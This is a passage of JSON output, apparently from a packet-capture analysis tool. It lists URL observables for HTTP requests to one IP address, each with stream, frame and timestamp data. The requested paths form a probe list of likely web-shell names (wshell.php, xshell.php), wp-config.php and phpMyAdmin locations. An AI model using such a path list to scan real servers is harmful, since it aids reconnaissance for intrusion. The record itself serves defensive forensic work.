        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1138,
            "display_filter": "frame.number == 1138",
            "timestamp_epoch": "1577255828.301876000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-af716b8bb42c4d8f6741f837",
        "type": "url",
        "value": "http://128.199.64.235/websql/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 76,
            "frame_number": 2414,
            "display_filter": "frame.number == 2414",
            "timestamp_epoch": "1577256450.448111000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-156cf76be56bcf9c90e1b14c",
        "type": "url",
        "value": "http://128.199.64.235/weixiao.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1116,
            "display_filter": "frame.number == 1116",
            "timestamp_epoch": "1577255825.857750000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-5d192805b21f9d79402fb63d",
        "type": "url",
        "value": "http://128.199.64.235/whoami.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 17,
            "frame_number": 634,
            "display_filter": "frame.number == 634",
            "timestamp_epoch": "1577255629.867708000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1dc6bc13286ddf17314e59af",
        "type": "url",
        "value": "http://128.199.64.235/whoami.php.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 18,
            "frame_number": 644,
            "display_filter": "frame.number == 644",
            "timestamp_epoch": "1577255632.062222000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4fc6b16e845b303b0ceba2eb",
        "type": "url",
        "value": "http://128.199.64.235/win.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1803,
            "display_filter": "frame.number == 1803",
            "timestamp_epoch": "1577256195.137126000"
          },
          {
            "tcp_stream": 57,
            "frame_number": 1811,
            "display_filter": "frame.number == 1811",
            "timestamp_epoch": "1577256195.426556000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-528eb09349f11b0f4118579d",
        "type": "url",
        "value": "http://128.199.64.235/win1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 57,
            "frame_number": 1815,
            "display_filter": "frame.number == 1815",
            "timestamp_epoch": "1577256195.704673000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e6064a7dd8b73e23d97005a4",
        "type": "url",
        "value": "http://128.199.64.235/woshimengmei.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 9,
            "frame_number": 465,
            "display_filter": "frame.number == 465",
            "timestamp_epoch": "1577255515.391181000"
          },
          {
            "tcp_stream": 10,
            "frame_number": 471,
            "display_filter": "frame.number == 471",
            "timestamp_epoch": "1577255520.428386000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e46e86d13fd4b258f6411614",
        "type": "url",
        "value": "http://128.199.64.235/wp-admins.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1042,
            "display_filter": "frame.number == 1042",
            "timestamp_epoch": "1577255804.928239000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-202113ad9eccc12a5f019a0d",
        "type": "url",
        "value": "http://128.199.64.235/wp-config.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 168,
            "display_filter": "frame.number == 168",
            "timestamp_epoch": "1577255390.128031000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-51925eaf8ea0433233e36ba0",
        "type": "url",
        "value": "http://128.199.64.235/wpc.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 152,
            "display_filter": "frame.number == 152",
            "timestamp_epoch": "1577255385.804008000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-1fa7ff9ddf9569bc01743aa0",
        "type": "url",
        "value": "http://128.199.64.235/wpo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 5,
            "frame_number": 156,
            "display_filter": "frame.number == 156",
            "timestamp_epoch": "1577255386.182336000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4a827f2a59e1023744a5c4ad",
        "type": "url",
        "value": "http://128.199.64.235/wshell.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1084,
            "display_filter": "frame.number == 1084",
            "timestamp_epoch": "1577255813.377545000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4c6120be4fad72e631a63348",
        "type": "url",
        "value": "http://128.199.64.235/wsx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 848,
            "display_filter": "frame.number == 848",
            "timestamp_epoch": "1577255725.676709000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ba4f2793b66d83c138544da3",
        "type": "url",
        "value": "http://128.199.64.235/wuwu11.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 547,
            "display_filter": "frame.number == 547",
            "timestamp_epoch": "1577255592.156709000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9b0a5fca2c82fcf1d5e0f789",
        "type": "url",
        "value": "http://128.199.64.235/www.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 608,
            "display_filter": "frame.number == 608",
            "timestamp_epoch": "1577255622.820069000"
          },
          {
            "tcp_stream": 63,
            "frame_number": 1912,
            "display_filter": "frame.number == 1912",
            "timestamp_epoch": "1577256231.264050000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b47e93a923090254d9bce705",
        "type": "url",
        "value": "http://128.199.64.235/www/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2206,
            "display_filter": "frame.number == 2206",
            "timestamp_epoch": "1577256377.826131000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8826305003467dcfc174d044",
        "type": "url",
        "value": "http://128.199.64.235/WWW/phpMyAdmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 73,
            "frame_number": 2352,
            "display_filter": "frame.number == 2352",
            "timestamp_epoch": "1577256426.365124000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-81cd590224fe25aa45ef6bc3",
        "type": "url",
        "value": "http://128.199.64.235/x.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 118,
            "display_filter": "frame.number == 118",
            "timestamp_epoch": "1577255371.936865000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1574,
            "display_filter": "frame.number == 1574",
            "timestamp_epoch": "1577256082.672575000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1711,
            "display_filter": "frame.number == 1711",
            "timestamp_epoch": "1577256141.280270000"
          },
          {
            "tcp_stream": 57,
            "frame_number": 1827,
            "display_filter": "frame.number == 1827",
            "timestamp_epoch": "1577256198.596006000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-3586d53dac550e8e6bbf8247",
        "type": "url",
        "value": "http://128.199.64.235/xampp/phpmyadmin/index.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 72,
            "frame_number": 2200,
            "display_filter": "frame.number == 2200",
            "timestamp_epoch": "1577256377.289138000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-efe9b544447ee31365e99b93",
        "type": "url",
        "value": "http://128.199.64.235/xi.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 808,
            "display_filter": "frame.number == 808",
            "timestamp_epoch": "1577255713.255546000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-2526ea158e1ef8b7297b21fd",
        "type": "url",
        "value": "http://128.199.64.235/xiao.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1129,
            "display_filter": "frame.number == 1129",
            "timestamp_epoch": "1577255827.500557000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-40b6f38c6aaac8fcb72c1c1a",
        "type": "url",
        "value": "http://128.199.64.235/xiaobin.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 64,
            "frame_number": 1957,
            "display_filter": "frame.number == 1957",
            "timestamp_epoch": "1577256251.357602000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-28375024ba98427b0f30ed35",
        "type": "url",
        "value": "http://128.199.64.235/xiaodai.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 944,
            "display_filter": "frame.number == 944",
            "timestamp_epoch": "1577255779.157592000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-7a3ce7ed1c04fd9dbe7d798f",
        "type": "url",
        "value": "http://128.199.64.235/xiaohei.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1790,
            "display_filter": "frame.number == 1790",
            "timestamp_epoch": "1577256188.034848000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0afe093636a15054225dbda3",
        "type": "url",
        "value": "http://128.199.64.235/xiaoma.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1743,
            "display_filter": "frame.number == 1743",
            "timestamp_epoch": "1577256156.823622000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-719c5933ba2a08fe38680dac",
        "type": "url",
        "value": "http://128.199.64.235/xiaomae.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1745,
            "display_filter": "frame.number == 1745",
            "timestamp_epoch": "1577256158.280211000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-12432e898754ae47d492f890",
        "type": "url",
        "value": "http://128.199.64.235/xiaomar.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1748,
            "display_filter": "frame.number == 1748",
            "timestamp_epoch": "1577256161.389162000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-cda143b7631fb1f13f164893",
        "type": "url",
        "value": "http://128.199.64.235/xiaomo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1782,
            "display_filter": "frame.number == 1782",
            "timestamp_epoch": "1577256185.800545000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4892cb146bc180a275faf6a8",
        "type": "url",
        "value": "http://128.199.64.235/xiaoxia.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 424,
            "display_filter": "frame.number == 424",
            "timestamp_epoch": "1577255493.604627000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-9abb5c8d037761b6f1753e74",
        "type": "url",
        "value": "http://128.199.64.235/xiaoyu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 56,
            "frame_number": 1787,
            "display_filter": "frame.number == 1787",
            "timestamp_epoch": "1577256187.733988000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f6742ee8024d7ca85fe4d362",
        "type": "url",
        "value": "http://128.199.64.235/xiaxia.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 12,
            "frame_number": 488,
            "display_filter": "frame.number == 488",
            "timestamp_epoch": "1577255524.759416000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e2c127f6357f5f9576472494",
        "type": "url",
        "value": "http://128.199.64.235/xiu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 15,
            "frame_number": 544,
            "display_filter": "frame.number == 544",
            "timestamp_epoch": "1577255591.880762000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-df163f71a035bcc3cbac8e23",
        "type": "url",
        "value": "http://128.199.64.235/xp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 54,
            "frame_number": 1648,
            "display_filter": "frame.number == 1648",
            "timestamp_epoch": "1577256127.254640000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1655,
            "display_filter": "frame.number == 1655",
            "timestamp_epoch": "1577256127.535630000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4ee618068b7243f6897e59de",
        "type": "url",
        "value": "http://128.199.64.235/xshell.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 30,
            "frame_number": 1087,
            "display_filter": "frame.number == 1087",
            "timestamp_epoch": "1577255813.739142000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-0150c9426c98a34ebf8c5813",
        "type": "url",
        "value": "http://128.199.64.235/xw.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 557,
            "display_filter": "frame.number == 557",
            "timestamp_epoch": "1577255599.605395000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-e46f6652e3dee52da4d8557b",
        "type": "url",
        "value": "http://128.199.64.235/xw1.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 561,
            "display_filter": "frame.number == 561",
            "timestamp_epoch": "1577255599.883804000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-8c6d91a137524d2ee3313baa",
        "type": "url",
        "value": "http://128.199.64.235/xx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 16,
            "frame_number": 569,
            "display_filter": "frame.number == 569",
            "timestamp_epoch": "1577255602.561658000"
          },
          {
            "tcp_stream": 16,
            "frame_number": 572,
            "display_filter": "frame.number == 572",
            "timestamp_epoch": "1577255604.561697000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b0d264624ed59aaf46c47e69",
        "type": "url",
        "value": "http://128.199.64.235/xxx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 52,
            "frame_number": 1565,
            "display_filter": "frame.number == 1565",
            "timestamp_epoch": "1577256081.871209000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-b94fe9fbe9bb31fed7786034",
        "type": "url",
        "value": "http://128.199.64.235/xxxx.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 63,
            "frame_number": 1903,
            "display_filter": "frame.number == 1903",
            "timestamp_epoch": "1577256229.669398000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-43b6346501a70584178d6081",
        "type": "url",
        "value": "http://128.199.64.235/xz.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1357,
            "display_filter": "frame.number == 1357",
            "timestamp_epoch": "1577255966.267348000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-09358cf82ac08bde12df19a7",
        "type": "url",
        "value": "http://128.199.64.235/yao.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 31,
            "frame_number": 1132,
            "display_filter": "frame.number == 1132",
            "timestamp_epoch": "1577255827.767526000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-4fe77a02e45a1ff2a5e25402",
        "type": "url",
        "value": "http://128.199.64.235/yj.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 55,
            "frame_number": 1734,
            "display_filter": "frame.number == 1734",
            "timestamp_epoch": "1577256151.084050000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f42b5bde247b6c89de439355",
        "type": "url",
        "value": "http://128.199.64.235/yu.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 408,
            "display_filter": "frame.number == 408",
            "timestamp_epoch": "1577255487.003776000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-d0bbf7e5d32d6feb442e2807",
        "type": "url",
        "value": "http://128.199.64.235/yumo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 35,
            "frame_number": 1228,
            "display_filter": "frame.number == 1228",
            "timestamp_epoch": "1577255880.695199000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-33bd934555d751ba2846301b",
        "type": "url",
        "value": "http://128.199.64.235/yuyang.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 8,
            "frame_number": 427,
            "display_filter": "frame.number == 427",
            "timestamp_epoch": "1577255494.894686000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-53826e0191ac8cfd396adcbe",
        "type": "url",
        "value": "http://128.199.64.235/yyy.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 24,
            "frame_number": 756,
            "display_filter": "frame.number == 756",
            "timestamp_epoch": "1577255684.448990000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-06d7566dda8d943ed10229b3",
        "type": "url",
        "value": "http://128.199.64.235/z.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 4,
            "frame_number": 136,
            "display_filter": "frame.number == 136",
            "timestamp_epoch": "1577255373.546580000"
          },
          {
            "tcp_stream": 52,
            "frame_number": 1571,
            "display_filter": "frame.number == 1571",
            "timestamp_epoch": "1577256082.406249000"
          },
          {
            "tcp_stream": 55,
            "frame_number": 1737,
            "display_filter": "frame.number == 1737",
            "timestamp_epoch": "1577256155.780227000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-484bcb66125e59f9c7c427a5",
        "type": "url",
        "value": "http://128.199.64.235/ze.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 28,
            "frame_number": 871,
            "display_filter": "frame.number == 871",
            "timestamp_epoch": "1577255753.765383000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-f5a2a86198ba779a1131cf73",
        "type": "url",
        "value": "http://128.199.64.235/zhk.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 25,
            "frame_number": 796,
            "display_filter": "frame.number == 796",
            "timestamp_epoch": "1577255706.971833000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-bd28109eb486653adcab8d31",
        "type": "url",
        "value": "http://128.199.64.235/zmp.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 27,
            "frame_number": 854,
            "display_filter": "frame.number == 854",
            "timestamp_epoch": "1577255728.153679000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-ce31ec542f947c4d8ffa9061",
        "type": "url",
        "value": "http://128.199.64.235/zshmindex.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
        "ioc_selection_note": "Observation only",
        "evidence": [
          {
            "tcp_stream": 43,
            "frame_number": 1370,
            "display_filter": "frame.number == 1370",
            "timestamp_epoch": "1577255971.154474000"
          }
        ],
        "roles": [
          "http-request"
        ],
        "enrichment_eligible": false,
        "enrichment_status": "not-requested",
        "queried_at": null
      },
      {
        "observable_id": "observable-99bfb605667e5938a8231f10",
        "type": "url",
        "value": "http://128.199.64.235/zuo.php",
        "classification": "observed",
        "ioc_candidate": false,
        "reasons": [],
        "signals": [],
        "provider_conflict": false,
